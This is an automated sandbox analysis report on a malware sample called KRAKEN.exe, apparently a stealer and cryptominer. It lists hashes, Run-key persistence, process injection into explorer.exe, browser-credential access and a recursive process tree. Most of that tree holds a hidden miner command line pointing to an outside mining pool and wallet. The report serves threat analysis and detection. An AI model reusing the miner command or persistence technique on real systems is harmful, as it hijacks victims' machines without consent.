00caa54a646237cf00f305613cdd9e0e8dd8e4dcd9706bbdfc71e22f6e673683

Analysis

max time kernel
152s
max time network
118s
platform
windows7_x64
resource
win7-en-20211208
submitted
12/01/2022, 09:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
KRAKEN.exe
Size 13.8MB
Sample220112-lzhthacbhm
SHA256 00caa54a646237cf00f305613cdd9e0e8dd8e4dcd9706bbdfc71e22f6e673683
MD5 b00dc98331daf06c9fdd3ac0eb5ca802
SHA1 1fdeb7ea4527b902e43cdac7cf733865513e570e
SHA512 3c2a66f20da63045ab163a1d28a4311f2ec17c7545914983f05948a4c5c5e920166fa748796b6b2d427bdeaceced641417357d906ed857a238d5c1e23ac6c5f6
MD5 SHA1 SHA512

Score

8^/10

persistence spyware stealer upx

Malware Config

Signatures

Executes dropped EXE 21 IoCs

pid	Process
1468	1.exe
576	2.exe
1632	3.exe
1340	RegHost.exe
872	RegHost.exe
1388	RegHost.exe
1556	RegHost.exe
1968	RegHost.exe
1316	RegHost.exe
596	RegHost.exe
1096	RegHost.exe
1140	RegHost.exe
1572	RegHost.exe
2012	RegHost.exe
1616	RegHost.exe
1372	RegHost.exe
1432	RegHost.exe
896	RegHost.exe
2016	RegHost.exe
276	RegHost.exe
788	RegHost.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000012665-58.dat	upx
behavioral1/files/0x0007000000012665-60.dat	upx

Loads dropped DLL 24 IoCs

pid	Process
1692	KRAKEN.exe
1692	KRAKEN.exe
1692	KRAKEN.exe
1692	KRAKEN.exe
1928	Process not Found
1368	explorer.exe
1368	explorer.exe
1532	explorer.exe
1668	explorer.exe
1368	explorer.exe
916	explorer.exe
1688	explorer.exe
1764	explorer.exe
2040	explorer.exe
1312	explorer.exe
2024	explorer.exe
1268	explorer.exe
1504	explorer.exe
1764	explorer.exe
1584	explorer.exe
1568	explorer.exe
1808	explorer.exe
556	explorer.exe
660	explorer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 18 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
1632	3.exe
1632	3.exe
396	bfsvc.exe
396	bfsvc.exe
1340	RegHost.exe
1340	RegHost.exe
1720	bfsvc.exe
1720	bfsvc.exe
872	RegHost.exe
872	RegHost.exe
1684	bfsvc.exe
1684	bfsvc.exe
1388	RegHost.exe
1388	RegHost.exe
432	bfsvc.exe
432	bfsvc.exe
1556	RegHost.exe
1556	RegHost.exe
852	bfsvc.exe
852	bfsvc.exe
1968	RegHost.exe
1968	RegHost.exe
320	bfsvc.exe
320	bfsvc.exe
1316	RegHost.exe
1316	RegHost.exe
1964	bfsvc.exe
1964	bfsvc.exe
596	RegHost.exe
596	RegHost.exe
1708	bfsvc.exe
1708	bfsvc.exe
1096	RegHost.exe
1096	RegHost.exe
764	bfsvc.exe
764	bfsvc.exe
1140	RegHost.exe
1140	RegHost.exe
1048	bfsvc.exe
1048	bfsvc.exe
1572	RegHost.exe
1572	RegHost.exe
2028	bfsvc.exe
2028	bfsvc.exe
2012	RegHost.exe
2012	RegHost.exe
1608	bfsvc.exe
1608	bfsvc.exe
1616	RegHost.exe
1616	RegHost.exe
1316	bfsvc.exe
1316	bfsvc.exe
1372	RegHost.exe
1372	RegHost.exe
524	bfsvc.exe
524	bfsvc.exe
1432	RegHost.exe
1432	RegHost.exe
1500	bfsvc.exe
1500	bfsvc.exe
896	RegHost.exe
896	RegHost.exe
1776	bfsvc.exe
1776	bfsvc.exe

Suspicious use of SetThreadContext 36 IoCs

description	pid	Process	procid_target
PID 1632 set thread context of 396	1632	3.exe	31
PID 1632 set thread context of 1368	1632	3.exe	32
PID 1340 set thread context of 1720	1340	RegHost.exe	36
PID 1340 set thread context of 1532	1340	RegHost.exe	37
PID 872 set thread context of 1684	872	RegHost.exe	41
PID 872 set thread context of 1668	872	RegHost.exe	43
PID 1388 set thread context of 432	1388	RegHost.exe	46
PID 1388 set thread context of 1368	1388	RegHost.exe	47
PID 1556 set thread context of 852	1556	RegHost.exe	51
PID 1556 set thread context of 916	1556	RegHost.exe	52
PID 1968 set thread context of 320	1968	RegHost.exe	56
PID 1968 set thread context of 1688	1968	RegHost.exe	57
PID 1316 set thread context of 1964	1316	RegHost.exe	61
PID 1316 set thread context of 1764	1316	RegHost.exe	62
PID 596 set thread context of 1708	596	RegHost.exe	68
PID 596 set thread context of 2040	596	RegHost.exe	69
PID 1096 set thread context of 764	1096	RegHost.exe	73
PID 1096 set thread context of 1312	1096	RegHost.exe	75
PID 1140 set thread context of 1048	1140	RegHost.exe	78
PID 1140 set thread context of 2024	1140	RegHost.exe	79
PID 1572 set thread context of 2028	1572	RegHost.exe	83
PID 1572 set thread context of 1268	1572	RegHost.exe	84
PID 2012 set thread context of 1608	2012	RegHost.exe	88
PID 2012 set thread context of 1504	2012	RegHost.exe	89
PID 1616 set thread context of 1316	1616	RegHost.exe	93
PID 1616 set thread context of 1764	1616	RegHost.exe	95
PID 1372 set thread context of 524	1372	RegHost.exe	98
PID 1372 set thread context of 1584	1372	RegHost.exe	99
PID 1432 set thread context of 1500	1432	RegHost.exe	103
PID 1432 set thread context of 1568	1432	RegHost.exe	105
PID 896 set thread context of 1776	896	RegHost.exe	108
PID 896 set thread context of 1808	896	RegHost.exe	109
PID 2016 set thread context of 596	2016	RegHost.exe	113
PID 2016 set thread context of 556	2016	RegHost.exe	115
PID 276 set thread context of 432	276	RegHost.exe	118
PID 276 set thread context of 660	276	RegHost.exe	119

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
576	2.exe
576	2.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1532	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1668	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
916	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1688	explorer.exe
1764	explorer.exe
1764	explorer.exe
1764	explorer.exe
1764	explorer.exe
1764	explorer.exe
1764	explorer.exe
1764	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 1468	1692	KRAKEN.exe	27
PID 1692 wrote to memory of 1468	1692	KRAKEN.exe	27
PID 1692 wrote to memory of 1468	1692	KRAKEN.exe	27
PID 1692 wrote to memory of 1468	1692	KRAKEN.exe	27
PID 1692 wrote to memory of 576	1692	KRAKEN.exe	28
PID 1692 wrote to memory of 576	1692	KRAKEN.exe	28
PID 1692 wrote to memory of 576	1692	KRAKEN.exe	28
PID 1692 wrote to memory of 576	1692	KRAKEN.exe	28
PID 1692 wrote to memory of 1632	1692	KRAKEN.exe	29
PID 1692 wrote to memory of 1632	1692	KRAKEN.exe	29
PID 1692 wrote to memory of 1632	1692	KRAKEN.exe	29
PID 1692 wrote to memory of 1632	1692	KRAKEN.exe	29
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 396	1632	3.exe	31
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1632 wrote to memory of 1368	1632	3.exe	32
PID 1368 wrote to memory of 1340	1368	explorer.exe	34
PID 1368 wrote to memory of 1340	1368	explorer.exe	34
PID 1368 wrote to memory of 1340	1368	explorer.exe	34
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36
PID 1340 wrote to memory of 1720	1340	RegHost.exe	36

C:\Users\Admin\AppData\Local\Temp\KRAKEN.exe
"C:\Users\Admin\AppData\Local\Temp\KRAKEN.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Users\Admin\AppData\Roaming\1.exe
  C:\Users\Admin\AppData\Roaming\1.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Users\Admin\AppData\Roaming\2.exe
  C:\Users\Admin\AppData\Roaming\2.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:576
- C:\Users\Admin\AppData\Roaming\3.exe
  C:\Users\Admin\AppData\Roaming\3.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\bfsvc.exe
    C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:396
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1368
  - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1340
    - - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        5⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1720
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        5⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1532
      - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:872
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        7⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1684
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        7⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1668
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1388
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        9⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:432
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        9⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        10⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1556
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        11⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:852
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        11⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:916
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        12⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1968
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        13⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:320
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        13⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1688
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        14⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1316
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        15⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1964
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        15⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1764
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        16⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:596
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        17⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1708
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        17⤵
        Loads dropped DLL
        
        PID:2040
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        18⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1096
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        19⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:764
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        19⤵
        Loads dropped DLL
        
        PID:1312
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        20⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1140
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        21⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1048
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        21⤵
        Loads dropped DLL
        
        PID:2024
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        22⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1572
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        23⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2028
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        23⤵
        Loads dropped DLL
        
        PID:1268
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        24⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:2012
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        25⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1608
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        25⤵
        Loads dropped DLL
        
        PID:1504
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        26⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1616
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        27⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1316
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        27⤵
        Loads dropped DLL
        
        PID:1764
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        28⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1372
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        29⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:524
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        29⤵
        Loads dropped DLL
        
        PID:1584
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        30⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:1432
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        31⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1500
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        31⤵
        Loads dropped DLL
        
        PID:1568
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        32⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:896
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        33⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1776
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        33⤵
        Loads dropped DLL
        
        PID:1808
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        34⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:2016
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        35⤵
        
        PID:596
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        35⤵
        Loads dropped DLL
        
        PID:556
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        36⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:276
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool etc.2miners.com:1010 -wal 0x84564F93A264a4d4B67f91348B586b6aee1f5cA8 -coin etc -worker 1
        37⤵
        
        PID:432
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        37⤵
        Loads dropped DLL
        
        PID:660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        38⤵
        Executes dropped EXE
        
        PID:788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/276-547-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

Download

memory/396-70-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-76-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-72-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-77-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-78-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-71-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-73-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-75-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-74-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-79-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/396-91-0x0000000140000000-0x0000000140815000-memory.dmp

Download

